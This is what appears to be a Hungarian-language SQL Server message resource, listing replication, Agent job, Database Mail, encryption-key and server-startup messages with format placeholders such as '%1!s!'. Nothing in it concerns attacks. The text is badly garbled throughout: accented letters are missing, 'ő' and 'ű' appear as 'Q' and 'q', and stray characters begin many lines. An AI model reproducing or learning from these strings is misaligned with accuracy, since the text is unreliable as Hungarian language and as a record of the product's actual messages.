Az SQL Server kvetkezQ verzijban el lesz tvoltva a kvetkezQ: %1!s! Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

Az SQL Server egy jvQbeli verzijban el lesz tvoltva a kvetkezQ sszeilleszts:  %1!s! . Kerlje az sszeilleszts hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

XA cikk frisstse sikeresen megtrtnt.

PAz elQfizets sikeresen frisstve.

@Az elQfizets nem ltezik.

LA Subscriber (elQfizetQ) eldobva.

A rendszer a 4. generlsi llapotnl beragadt generlst szlelt.

HA kiadvny sikeresen frisstve.

Sikeresen mdostotta a terjesztsi adatbzis kvetkezQ tulajdonsgt:  %1!s! .

A @max_distretention rtknek nagyobbnak kell lennie, mint a @min_distretention rtknek.

x%1!s! elQzmnyrekord eltvoltva a kvetkezQbQl: %2!s!.

A @security_mode paramter rtknek 0-nak (SQL Server-hitelests) vagy 1-nek (Windows-hitelests) kell lennie.

%1!s! repliklsielQzmny-rekord eltvoltva %2!s! msodperc alatt (%3!s! sor/msodperc).

Replikls   %1!s!: %2!s! gynk sikeresen befejezte. %3!s!

Replikls   %1!s!: %2!s! gynk ismtelt prblkozsra temezve. %3!s!

xReplikls   %1!s!: %2!s! gynk figyelmeztets. %3!s!

A(z)  %1!s!  Subscriber (elQfizetQ) ltal a(z)  %2!s!  kiadvnyhoz ltrehozott elQfizets lejrt s el lett dobva.

\Replikls   %1!s!: %2!s! gynk: %3!s!.

Egy vagy tbb elQfizets tllpte a kvetkezQ kiadvnyra vonatkoz [%1!s!:%2!s!] kszbt: [%3!s!]. EllenQrizze az erre a kiadvnyra vonatkoz elQfizetsek llapott, s szksg esetn mdostsa a lejrati kszb rtkt.

A(z) [%3!s!] publikcihoz tartoz [%1!s!:%2!s!] kszb be lett lltva. GyQzQdjn meg arrl, hogy a naplolvas s a terjesztsi gynkk futnak, s megfelelnek a kssi kvetelmnynek.

Egy vagy tbb elQfizets tllpte a kvetkezQ kiadvnyra vonatkoz [%1!s!:%2!s!] kszbt: [%3!s!]. EllenQrizze az erre a kiadvnyra vonatkoz elQfizetsek llapott, s szksg esetn mdostsa a kszbrtket.

Egy vagy tbb elQfizets tllpte a kvetkezQ kiadvnyra vonatkoz [%1!s!:%2!s!] kszbt: [%3!s!]. EllenQrizze az erre a kiadvnyra vonatkoz elQfizetsek llapott, s szksg esetn mdostsa a kszbrtket.

Egy vagy tbb elQfizets tllpte a kvetkezQ kiadvnyra vonatkoz [%1!s!:%2!s!] kszbt: [%3!s!]. EllenQrizze az erre a kiadvnyra vonatkoz elQfizetsek llapott, s szksg esetn mdostsa a kszbrtket.

Egy vagy tbb elQfizets tllpte a kvetkezQ kiadvnyra vonatkoz [%1!s!:%2!s!] kszbt: [%3!s!]. EllenQrizze az erre a kiadvnyra vonatkoz elQfizetsek llapott, s szksg esetn mdostsa a kszbrtket.

A kzzttel-letiltsi folyamat figyelmen kvl hagyta a kvetkezQ hibazenetet: %1!s!. Slyossg: %2!s!, llapot: %3!s!: %4!s!.

0ElQfizets lejrta

DTranzakcis replikci ksse

lHossz egyests telefonos kapcsolaton keresztl

tHossz egyests helyi hlzati kapcsolaton keresztl

tLass egyests helyi hlzati kapcsolaton keresztl

hLass egyests telefonos kapcsolaton keresztl

HAz gynk sosem volt futtatva.

A(z) %1!s! paramter rtknek a kvetkezQ kszletben kellene lennie: %2!s!.

A(z) %1!s! paramter rtknek a kvetkezQ tartomnyban kellene lennie: %2!s!. EllenQrizze, hogy a megadott paramterrtk helyes-e.

A megadott  %1!s!  feladat nem kerl ltrehozsra a karbantartsi tervek szmra. EllenQrizze, hogy a feladat rendelkezik-e legalbb egy olyan lpssel, amely meghvja az xp_sqlmaint eljrst.

80 (az sszes lps)...

Ta @active_start_time elQtt vagy utn

lsp_helplogins [kizrva a Windows NT-csoportokat]

D0 (nem inaktv), 1 (vgrehajts), 2 (vrakozs a szlra), 3 (jraprblkozsok kztt), 4 (inaktv), 5 (felfggesztve), 7 (befejezsi mqveletek vgrehajtsa)

$(ismeretlen)

(0..n msodperc

<-1 [nincs maximum], 0..n

h1..7 [1 = e-mail, 2 = szemlyhv, 4 = NetSend]

P0..127 [1 = htfQ .. 64 = vasrnap]

rtests

 kiszolgl

0(az sszes feladat)

@Feladat alapvetQ rszletei:

,Feladat lpsei:

0Feladat temezsei:

8Feladat clkiszolgli:

SQL Server-figyelmeztets: A(z)  %1!s!  a kvetkezQ TSX-kiszolgl knyszertett elhagyst hajtotta vgre:  %2!s! . Futtassa az sp_delete_targetserver eljrst az MSX-kiszolgln az elhagys befejezshez.

ra

perc

msodperc

Figyelmeztets: A megadott kiszolglnv nem a jelenlegi MSX-kiszolgl ( %1!s! ).

X%1!s! elQzmnybejegyzs megsemmistve.

A kiszolgl elhagyta a(z)  %1!s!  MSX-kiszolglt. %2!s! feladat trlve.

A kiszolgl MSX-bejegyzse megvltozott errQl:  %1!s! , erre:  %2!s! .

A kiszolgl bejegyezve a kvetkezQ MSX-kiszolglba:  %1!s! .

SP_POST_MSX_OPERATION: %1!s! %2!s! letltsi utasts kzztve.

SP_POST_MSX_OPERATION-figyelmeztets: A megadott %1!s! ( %2!s! ) nem vesz rsz tbbkiszolgls feladatban.

Figyelmeztets: A kvetkezQ argumentum nem ltezQ lpsre hivatkozik: %1!s!.

8%1!s! feladat trlve.

h%1!s! feladat trendelve a kvetkezQhz: %2!s!.

lA feladat %1!s! j kiszolglra lett alkalmazva.

dA feladatok eltvoltva %1!s! kiszolglrl.

lA kvetkezQ feladat sikeresen elindtva:  %1!s! .

t%1!s! (sszesen: %2!s!) feladat sikeresen lelltva.

lA kvetkezQ feladat sikeresen lelltva:  %1!s! .

Figyelmeztets: Nincs szksg a @new_owner_login_name paramterre  DELETE  mqvelet megadsakor.

DElemzslekrdezs alrendszer

<Elemzsparancs alrendszer

PSSIS-csomag-vgrehajtsi alrendszer

,Figyelmeztets: Ezt a mdosts nem tltik le a clkiszolglk, amg a(z) %2!s! hasznlatval nem kerl kzzttelre egy %1!s! a feladat szmra.

A(z)  %1!s!  clkiszolglhoz nincs feladat hozzrendelve.

@(Lers nem lett lekrve.)

8Parancssori alrendszer

LRepliklsipillanatkp-alrendszer

dRepliklsitranzakcinapl-olvas alrendszer

HRepliklselosztsi alrendszer

HRepliklsegyestsi alrendszer

@Active Scripting alrendszer

8Transact-SQL alrendszer

[BelsQ]

4(titkostott parancs)

@(kimeneti fjl hozzfqzse)

`(eredmnyek belefoglalsa az elQzmnyekbe)

(norml)

,(sikeres kilps)

((hibs kilps)

@(ugrs a kvetkezQ lpsre)

((ugrs lpsre)

(inaktv)

((norml alatt)

((norml felett)

((kritikus idQ)

0(Feladat eredmnye)

4Nem rhetQ el lers.

Napi feladat esetn a @freq_interval argumentumnak legalbb 1-nek kell lennie.

,Heti feladat esetn a @freq_interval argumentumnak olyan rvnyes bitmaszknak kell lennie, amely a ht napjra utal [htfQ = 1 .. vasrnap = 64].

Havi feladat esetn a @freq_interval argumentumnak 1 s 31 kz kell esnie.

<A @freq_relative_interval argumentumnak rtkei a kvetkezQk lehetnek: elsQ (0x1), msodik (0x2), harmadik [0x4], negyedik (0x8), valamint utols (0x10).

<Relatv havi feladat esetn a @freq_interval argumentumnak 1 s 10 kz kell esnie (1 = htfQ .. 7 = vasrnap, 8 = nap, 9 = htkznap, 10 = htvgi nap).

A @freq_recurrence_factor argumentumnak legalbb 1-nek kell lennie.

Akkor indul el, amikor a CPU-hasznlat %2!s! msodpercig %1!s! alatt marad.

Az SQLServerAgent szolgltats indulsval egytt automatikusan elindul.

feladat

lRepliklsitranzakcilekrdezs-olvas alrendszer

(ID.VersionID =

([nincs megadva]

 DTS-csomag

Nv

8Figyelmeztets:  %1!s! 

|Az zenet (azonost: %1!s!) bekerlt a vrakozsi sorba.

<Az aktivls sikertelen.

0Sikeres aktivls.

Az zenetek vrakozsi sort a kvetkezQ bejelentkezsi identits indtotta el:  %1!s! .

Az zenetek vrakozsi sort a kvetkezQ bejelentkezsi identits lltotta le:  %1!s! .

TCsatolmnyok alaprtelmezett kdolsa

dPrbeszdpanelek alaprtelmezett lettartama

XFjlok alaprtelmezett maximlis mrete

xA kimenQ zenetekben a bQvtmnyek nem engedlyezettek.

Egy levelezsi kiszolgl jraprblkozsi ksrleteinek szma

A levelezsi kiszolgl jraprblkozsi ksrletei kztti ksleltets

\Minimlis folyamat-lettartam (msodperc)

Vratlan zenet rkezett az ExternalMailQueue vrakozsi sorra. conversation_handle: %1!s!. message_type_name: %2!s!. zenettrzs: %3!s!.

A(z) %1!s! mailitem_id azonostja nem tallhat a sysmail_send_retries tblban. Ez az zenetelem nem lesz elkldve.

A(z) %1!s! azonostj zenet meghaladta az jraprblkozsok szmt. Ez az zenetelem nem lesz elkldve.

A kvetkezQ felhasznl kezdemnyezte az zenetelemek trlst:  %1!s! . %2!s! elem trlve.

4PowerShell alrendszer

sszegyqjti az sszes adatbzisra vonatkoz lemez- s naplhasznlati adatokat.

(Lemezhasznlat

@Lemezhasznlat   adatfjlok

DLemezhasznlat   naplfjlok

sszegyqjti a szmtgp s az adatbzismotor legfelsQ szintq teljestmnymutatit. LehetQv teszi az erQforrs-hasznlat, a szqk erQforrs-keresztmetszetek, valamint az adatbzismotor tevkenysgeinek az elemzst.

8Kiszolgli tevkenysg

`Kiszolgli tevkenysg   DMV-pillanatkpek

hKiszolgli tevkenysg   teljestmnyszmllk

0sszegyqjti a legtbb olyan utasts lekrdezsi statisztikit, T-SQL szvegt s lekrdezsei terveit, amelyek befolysoljk a teljestmnyt. LehetQv teszi a gyengn teljestQ lekrdezsek elemzst az SQL Server adatbzismotorjnak ltalnos tevkenysgeihez viszonytva.

<Lekrdezsi statisztikk

pLekrdezsi statisztikk   Lekrdezsi tevkenysg

HAz SQL-kir konfigurcijnak vltozsai a gyqjtemnykszlet jraindtsval lpnek rvnybe. Azonnali kirs vgrehajtshoz hasznlja a dtutil /dump opcit.

sszegyqjti az SQL Server Utility segdprogramban kezelt SQL Server-pldnyok adatait.

8Segdprogram-informci

\Segdprogram-informci   kezelt pldny

\Az sszes tbla statisztikja frisstve.

| %1!s!  tbla: Nem tallhat statisztika nlkli oszlop.

 %1!s!  tbla: Statisztikk ltrehozsa a kvetkezQ oszlopokhoz:

Statisztika ltrehozva a fenti tblk %1!s! darab kilistzott oszlophoz.

A rendszer figyelmen kvl hagyja a @with_log paramtert olyan zenetek esetn, melyek nem us_english verzijak.

Az adatbzis-kompatibilitsi szint rvnyes rtkei a kvetkezQk: %1!s!, %2!s! vagy %3!s!.

\A jelenlegi kompatibilitsi szint: %1!s!.

A(z)  %1!s!  adatbzis gyans jellQje mr vissza lett lltva.

A(z)  %1!s!  adatbzis gyans jellQje mr vissza lett lltva.

Figyelmeztets: Az adatbzishoz val hozzfrs elQtt helyre kell lltania azt.

LFeldolgozott lekrdezsek: %1!s!.

dFigyelmeztets: Az sp_addtype eljrssal ltrehozott felhasznltpusokat a dbo sma tartalmazza. Ha meg lett adva a @owner paramter, a rendszer figyelmen kvl hagyja azt.

A(z) %1!s! nem dobhat el, mert egy vagy tbb %2!s! mr hasznlja azt.

rvnytelen fjlmret lett megadva. Minden fjlnak legalbb 1 MB mretqnek kell lennie.

<Hitelestsi md: %1!s!.

tA(z)  %2!s!  %1!s! nem lett megbzva vgrehajtssal.

HA titkostsi kulcs helytelen.

A(z)  %3!s!  sszetevQ ki van kapcsolva a kiszolgl biztonsgi konfigurcijnak rszeknt, ezrt az SQL Server blokkolta a hozzfrst e komponens kvetkezQ rszhez:  %2!s!  %1!s!. Az sp_configure eljrs hasznlatval egy rendszergazda engedlyezheti a(z)  %4!s!  sszetevQ hasznlatt. Tovbbi informci a(z)  %5!s!  sszetevQ engedlyezsrQl az SQL Server online knyvekben tallhat, keressen a kvetkezQ kifejezs hasznlatval:  %6!s! .

Mr ltezik  %1!s!  nevq kulcs vagy egy felhasznl ltal megadott egyedi azonost, vagy nnek nincs jogosultsga annak ltrehozshoz.

tAdjon meg egy visszafejtQt a kulcs visszafejtshez.

LA(z)  %1!s!  felhasznl sora gy lesz kijavtva, hogy a rendszer a sor bejelentkezsi hivatkozst olyan bejelentkezsi identitsra mdostja, ami mr ltezik.

DHa nem trtnik tkzs, akkor a(z)  %1!s!  felhasznl sora gy lesz kijavtva, hogy a rendszer a hivatkozst egy j bejelentkezsi identitsra mdostja.

Az j bejelentkezsi identitsok felvtelvel, majd a felhasznlk frisstsvel kijavtott rva felhasznlk szma %1!s!.

A felhasznlk frisstsvel kijavtott rva felhasznlk szma %1!s!.

tA kulcs nem a megadott visszafejtQvel van titkostva.

Nem lett algoritmus megadva vagy a kulcshoz megadott bithosszsg s algoritmus nem rhetQ el a Windows e teleptsn.

A kvetkezQ kulcs nincs nyitva:  %1!s! . Hasznlat elQtt nyissa meg a kulcsot.

A globlis tmeneti kulcsok hasznlata nem engedlyezett. Csak helyi tmeneti kulcsokat hasznlhat.

A fQkulcsfjl nem ltezik vagy rvnytelen formtumban van.

Mostantl a(z)  %2!s!  eszkzn tallhat  %1!s!  adatbzis sszes rszlete csak naplhasznlatra van dediklva.

A(z)  %1!s!  fjl el lett tvoltva a tempdb adatbzisbl, ami a kiszolgl jraindtsakor lp majd rvnybe.

TNem ltezik bQvtett trolt eljrs.

TAz adatbzis offline llapotban van.

\Az adatbzis mr offline llapotban van.

Ehhez a fjlhoz mr be van lltva a titkos kulcs. A kulcs megvltoztatshoz engedje el s hozza ltre jra a tanstvnyt.

`A(z) %1!s! olyan titkos kulccsal rendelkezik, amelyet egy felhasznl ltal megadott jelsz vd. A titkos kulcs hasznlatnak engedlyezshez meg kell adni azt a jelszt.

Vigyzat: A sys.sql_dependencies nzet azt mutatja, hogy ms objektumok (nzetek, eljrsok stb.) a rgi nevn hivatkoznak erre az objektumra. Ezek az objektumok rvnytelenn fognak vlni, gyhogy azonnal el kell Qket engedni s jra ltre kell hozni Qket.

L %1!s!  ltrehozsa folyamatban.

Nincs a kvetkezQhz kiptett titkos kulcs:  %2!s!  %1!s!.

Az tadott felhasznlnv s/vagy jelsz rvnytelen vagy a jelenlegi folyamat nem rendelkezik megfelelQ jogosultsgokkal.

A CLR alrs alatt ll eljrsa/fggvnye/tpusa olyan szerelvnyre hivatkozik, amely nincs erQs nvvel vagy egy szerelvnnyel alrva.

Hasznlat: sp_detach_db <dbname>, [TRUE|FALSE], [TRUE|FALSE]

A felhasznl ltal megadott fjlcsoportoknak csak olvashatnak kell lennik.

XAz adatbzis sikeresen kzz lett tve.

Az adatbzis szmra sikeresen engedlyezve lettek az elQfizetsek.

Az adatbzis sikeresen kzz lett tve egyestses replikci hasznlatval.

DAz adatbzis mr online van.

<Az adatbzis online van.

XAz adatbzis kzzttele megszntetve.

Az adatbzis szmra mr nincsenek engedlyezve az elQfizetsek.

Az adatbzis mr nincs engedlyezve az egyestsi kzzttelekre.

tEllenQrzQpont ltrehozsa a mdostott adatbzishoz.

0j nyelv beszrva.

HNem rhetQ el alternatv nyelv.

A us_english nyelv mindig elrhetQ, annak ellenre, hogy nem szerepel a syslanguages tblban.

(Nyelv trlve.

A(z)  %1!s!  konfigurcis bellts mdostva errQl: %2!s!, erre: %3!s!. A teleptshez futtassa a RECONFIGURE utastst.

8Adatbzis eltvoltva.

Az aktulis adatbzisban a megadott objektum a kvetkezQre hivatkozik:

Az aktulis adatbzisban a megadott objektumra a kvetkezQ hivatkozik:

Az objektum nem hivatkozik msik objektumra, s ms objektumok sem hivatkoznak r.

@A(z)  %1!s!  fjl bezrva.

(Eszkz eldobva.

A(z)  %1!s!  objektumra vonatkozan nem lett megkts megadva, vagy n nem rendelkezik megfelelQ jogosultsggal.

A(z)  %1!s!  idegenkulcs-referenciatba nem ltezik, vagy n nem rendelkezik megfelelQ jogosultsggal a tblkra val hivatkozshoz.

tA kvetkezQ objektum szvege titkostva van:  %1!s! .

A(z)  %1!s!  objektum nem rendelkezik indexekkel, vagy nnek nincs megfelelQ jogosultsga.

Az adatbzis t lett nevezve s egyfelhasznls zemmdban van.

(Vigyzat: Ha megvltoztatja egy objektum nevnek brmelyik rszt, azzal mqkdskptelenn teheti a parancsprogramokat s a trolt eljrsokat.

`A fggQ aliasnevek szintn el lettek dobva.

,Nem sikerlt hozzadni a bejelentkezsi identitst az sp_addlogin (felhasznl = %1!s!) eljrs hasznlatval. A rendszer lelltja az eljrst.

A fggQ aliasnevek hozz lettek rendelve az j adatbzis-tulajdonoshoz.

PA fggQ aliasnevek el lettek dobva.

tAz adatbzis-tulajdonos tlltsa a rendszergazdra.

Az sszes objektum tulajdonjognak tadsa az adatbzis-tulajdonosnak.

Felhasznlk trlse a rendszerkatalgusbl, kivve a vendgfelhasznlt s az adatbzis-tulajdonost.

PAlaprtelmezs az oszlophoz ktve.

TAlaprtelmezs az adattpushoz ktve.

Az j alaprtelmezs hozz lett ktve a megadott felhasznli adattpus oszlop(ok)hoz.

HSzably a tblaoszlophoz ktve.

HSzably az adattpushoz ktve.

Az j szably hozz lett ktve a megadott felhasznli adattpus oszlop(ok)hoz.

\Alaprtelmezs oszlophoz ktse feloldva.

dAlaprtelmezs adattpushoz ktse feloldva.

A megadott felhasznli adattpus oszlopok alaprtelmezseinek ktse feloldva.

XSzably tblaoszlophoz ktse feloldva.

TSzably adattpushoz ktse feloldva.

A megadott felhasznli adattpus oszlopok szablyainak ktse feloldva.

A rendszer az sp_checknames eljrst hasznlja a nem 7 bites

ASCII-karakterek megkeressre a rendszertblk szmos fontos

xoszlopban. A keress a kvetkezQ oszlopokban trtnik:

4    A fQadatbzisban:

@    Az sszes adatbzisban:

pTitkost megadsa nlkl nem hozhat ltre kulcs.

lA megadott %1!s! hasznlatval nem hajthat vgre a titkosts vagy visszafejts, mert az nem rendelkezik titkos kulccsal vagy mert a titkos kulcshoz megadott jelsz helytelen.

LMr ltezik %1!s!;  %3!s!  %2!s!.

T%1!s! nem dobhat el;  %3!s!  %2!s!.

A(z)  %2!s!  %1!s! nem dobhat el, mert hozz van rendelve egy %3!s!.

A kvetkezQre vonatkozan nem lehet alrst hozzadni vagy eldobni, mert csak a modulok rhatk al:  %1!s! .

A termk jelenlegi verzija csak a tanstvnyokon vagy aszimmetrikus kulcsokon alapul alrsokat tmogatja.

lA vgrehajts alatt ll modul nem megbzhat. HitelestQ jogosultsgot kell adni a modult tartalmaz adatbzis tulajdonosnak, vagy digitlis alrssal kell elltni a modult.

pNincs titkos kulcs belltva a kvetkezQhz: %1!s!.

xEz az objektum nem rendelkezik statisztikai adatokkal.

Ez az objektum nem rendelkezik statisztikai adatokkal vagy indexekkel.

Figyelmeztets: A forrskiszolglra hivatkoz csatolt kiszolgl nem tmogatott esetnek minQsl. Ha ngyrszes nevet kvn hasznlni egy helyi tblra trtnQ hivatkozshoz, a kiszolgl tnyleges nevt hasznlja aliasnv helyett.

 Az alrs alatt ll modul tulajdonosknt trtnQ vgrehajtsra van megjellve. Az alrs rvnytelen lesz, ha a tulajdonos megvltozik.

DHiba trtnt a rgi fQkulcs ltal titkostott  %2!s!  %1!s! visszafejtse sorn. A rendszer figyelmen kvl hagyta a hibt, mert meg lett adva a FORCE opci.

A jelenlegi fQkulcs nem titkosthat. A rendszer figyelmen kvl hagyta a hibt, mert meg lett adva a FORCE opci.

A rgi s az j fQkulcs megegyezik egymssal. Nincs szksg az adatok jbli titkostsra.

PFigyelmeztets: Ha UNIQUE indexet, PRIMARY KEY megktst vagy UNIQUE megktst hasznl sorszintq biztonsggal rendelkezQ tbln, az informcifelfedshez vezethet.

Figyelmeztets: Ha IDENTITY oszlopot hasznl sorszintq biztonsggal rendelkezQ tbln, az informcifelfedshez vezethet.

Figyelmeztets: Ha indexelt nzetet hasznl sorszintq biztonsggal rendelkezQ tbln, az informcifelfedshez vezethet.

A naplzs s az engedlyek nem llthatk be helyi ideiglenes objektumokra vonatkozan.

Nincs jogosultsga a kvetkezQ adatbzishoz val hozzfrshez:  %1!s! .

|A(z)  %2!s!  paramter  %1!s!  opcija nem ismerhetQ fel.

Aktv tranzakci nlkl prblt tranzakcis alkalmazszrolst elrni.

|A kvetkezQ parancs vgrehajtsa sikertelen: sp_dboption.

Nincs olyan nzet, amelynek a smaktsi referenciatblja a kvetkezQ lenne:  %1!s! .

D%1!s! frisstse folyamatban

    %1!s! index/statisztika frisstve, %2!s! nem ignyelt frisstst.

4    %1!s! frisstve& 

T    %1!s!, nincs szksg frisstsre& 

%1!s! tbla: nem vgezhetQ el a mqvelet a tbln, mert a frtztt indexe le van tiltva.

Az optimista konkurencia ellenQrzse sikertelen. A sor a kurzoron kvl mdostva lett.

A(z)  %1!s!  vltoz jelenleg nem rendelkezik a szmra lefoglalt kurzorral.

A tvoli tblk nem frissthetQk. A tvoli tblk frissthetQ, kulcshalmazvezrelt kurzorai olyan tranzakcit ignyelnek, melyben az egsz kurzorra rvnyes a REPEATABLE_READ vagy a SERIALIZABLE elklntsi szint.

tA ltrehozott kurzor tpusa nem a krelmezett tpus.

Egy vagy tbb FOR UPDATE oszlop hozz lett igaztva a lekrdezsben tallhat tblik elsQ pldnyaihoz.

Hasznlat: sp_autostats <table_name> [, {ON|OFF} [, <index_name>] ]

Az SQL Server e pldnynak prbaidQszaka %1!s! nap mlva lejr.

%1!s!

pHiba: %1!s!, slyossg: %2!s!, llapot: %3!s! %4!s!

0PrintStack krelem

%1!s!

@(c) Microsoft Corporation.

8Minden jog fenntartva.

`A kiszolgli folyamat azonostja: %1!s!.

Nem sikerlt megnyitni a fQadatbzist a rendszerfeladatszl-krnyezetben. Kiszolgl lelltsa folyamatban.

A Common Criteria-kompatibilitsi md engedlyezve. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az erQforrs-kormnyz kszletek s csoportok perfmon szmllit nem sikerlt inicializlni, s ezrt le lettek tiltva.

lA jelszhzirend frisstse sikeresen megtrtnt.

dA FallBack tanstvny sikeresen ltrehozva.

hA belltsjegyzk indtsi paramterei: %1!s!

Az SQL Server zenetei a kvetkezQ fjlban kerlnek naplzsra:  %1!s! .

\A parancssori indts paramterei: %1!s!.

Az egyidejq felhasznli kapcsolatok szma le lett cskkentve %1!s! kapcsolatra, mert az meghaladta az SQL Server jelen kiadsnak engedlyezett korltozst. Ha a jvQben szeretn elkerlni ezt az zenetet, az sp_configure eljrssal vglegesen lltsa be a felhasznli kapcsolatok szmt az engedlyezett hatron belli rtkre.

xAz SQL Server a(z) %1!s! kvetsi jelzQvel indul, ezrt lehetsges, hogy a felhasznl szmra megjelentett hibazenetek egy rsze a kvetkezQ karakterekkel maszkolva lesz:  %2!s! .

Az esemnynaplba trtnQ naplzs le van tiltva. A(z)  %1!s!  indtsi opci van megadva a belltsjegyzkben vagy a parancssorban.

Az SQL Server knnyq kszletezsre lett belltva. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Dinamikus zrolsfoglals van hasznlatban. A kezdeti foglals csompontonknt %1!s! zrolsi blokk s %2!s! zrolstulajdonosi blokk. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

 Az SQL Server most mr kszen ll az gyflkapcsolatokra. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

initconfig: Figyelmeztets: A megadott affinits rvnytelen. Visszatrs az alaprtelmezett, affinits nlkli llapothoz. Hasznlja az ALTER SERVER CONFIGURATION SET PROCESS AFFINITY utastst, ha be szeretn lltani, hogy a rendszer kompatibilis legyen a CPU-maszkkal a rendszeren. A rendszer a licencelt CPU-k szma alapjn is bellthat.

lA kvetkezQ indtsi eljrs elindtva:  %1!s! .

pA tempdb adatbzis tartalmnak trlse folyamatban.

tA kvetkezQ adatbzis indtsa folyamatban:  %1!s! .

A(z) %1!s! SQL Server-lemezkp a nagy lapok belltssal lett lefoglalva.

Az SQL Server nem engedlyezi az j kapcsolatokat, mert a szolgltatsvezrlQ szneteltetst krelmezett. A szolgltats folytatshoz hasznlja az SQL szmtgp-kezelQt vagy a VezrlQpult Szolgltatsok alkalmazst.

A szolgltatsvezrlQ lerja rvnytelen vezrlQkdot kapott: %1!s!.

Az SQL Server engedlyezi az j kapcsolatokat a szolgltatsvezrlQ  continue  (folytats) krelmre reaglva. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az SQL Server a rendszerlellts miatt lell. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

LAz SQL Server lell a szolgltatsvezrlQ  stop  (lellts) krelmre reaglva. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A zrolskonfigurcis opciban megadott statikus zrolsfoglals van hasznlatban. A foglals csompontonknt %1!s! zrolsi blokk s %2!s! zrolstulajdonosi blokk. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Engedlyezve van a zrolsparticionls. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Csompont-konfigurci: csompont: %1!s!, CPU-maszk: 0x%2!s!:%3!s!, aktv CPU-maszk: 0x%4!s!:%5!s!. Ez az zenet a szmtgp NUMA-konfigurcijt rja le. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Processzoraffinits bekapcsolva. Csompont: %1!s!, processzormaszk: 0x%2!s!. A szlak CPU-kon trtnQ vgrehajtsa az affinitsbelltsoknak megfelelQen fog trtnni. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

dKi-/bemeneti affinits bekapcsolva. Processzormaszk: 0x%1!s!. A lemez ki-/bemeneti mqveleteinek a CPU-kon trtnQ vgrehajtsa az  affinity I/O mask/affinity64 mask  konfigurcis belltsoknak megfelelQen fog trtnni. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

<A kiszolgl %1!s! msodperc inaktivits utn folytatta a vgrehajtst. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A kiszolgl inaktv. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az SQL Server nem tudta alkalmazni a NO_BUFFERING opcit a ki/-bemeneti mqvelet sorn, mert a mesterfjl szektormrete (%1!s!) rvnytelen. Helyezze t a mesterfjlt egy olyan meghajtra, amelynek megfelelQ a szektormrete.

Az SQL Server norml alapprioritssal (=7) indul. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az SQL Server magas alapprioritssal (=13) indul. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

HAz SQL Server %1!s! foglalatot szlelt, foglalatonknt %2!s! maggal s %3!s! logikai processzorral, azaz sszesen %4!s! logikai processzort; %5!s! logikai processzort hasznl az SQL Server licence alapjn. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

(A RANU-pldny belsQ idQtllps miatt megszaktja a vlaszt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A rendszer megksrli a Microsoft Distributed Transaction Coordinator (MS DTC) szolgltats inicializlst. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az elosztott tranzakcik tmogatsa nem lett engedlyezve az adatbzismotor e pldnyn, mert az a minimlis konfigurcis opcival lett elindtva. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A rendszermag Httpapi.dll HTTP-illesztQprogramja nem tallhat a megadott elrsi ton. Az SQL Server natv HTTP-tmogatsa nem rhetQ el. Hiba: 0x%1!s!. Lehetsges, hogy az opercis rendszer nem tmogatja a rendszermag HTTP-illesztQprogramjt.

Az SQL Server natv HTTP-tmogatsa nem rhetQ el. Nem tallhat a(z)  %1!s!  fggvnybelpsi pont a kvetkezQ fjlban: %2!s!. Hiba: 0x%3!s!. Az SQL Server natv HTTP-tmogatshoz az opercis rendszer jabb verzijra van szksg.

Az SQL Server natv HTTP-tmogatsa hibt szlelt, s ezrt nem lesz elrhetQ.  %1!s!()  sikertelen. Hiba: 0x%2!s!.

`A rendszer figyelmen kvl hagyja az indtskor megadott %1!s! kvetsi jelzQt, mert az rvnytelen vagy olyan kvetsi jelzQ, ami nem adhat meg a kiszolgl indtsakor.

8Kevs erQforrs miatt az SQL Server natv HTTP-tmogatsa nem inicializlhat. Az SQL Server HTTP-hozzfrse nem lesz elrhetQ. Hiba: 0x%1!s!. Ez a hiba ltalban kevs memrira utal. Cskkentse a kevsb fontos memriaterhelst vagy nvelje meg a rendszermemria mennyisgt.

\Az SNI-protokoll konfigurcijnak belltsjegyzkbeli belltsai rvnytelenek. A kiszolgl nem tud kapcsoldsi krelmeket fogadni. Hiba: 0x%1!s!. llapot: 0x%2!s!.

Az SQL Server e pldnya a(z) %1!s! azonostj folyamat hasznlatt utoljra a kvetkezQ idQpontban jelentette: %2!s! (helyi idQ), %3!s! (UTC). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az SQL Server e pldnya a(z) %1!s! azonostj folyamatot a kvetkezQ idQpont ta hasznlja: %2!s! (helyi idQ), %3!s! (UTC). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Ksrlet a hibanapl ciklikus hasznlatra. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A hibanapl jrainicializlva. A rgebbi bejegyzsek az elQzQ naplban tallhatk meg.

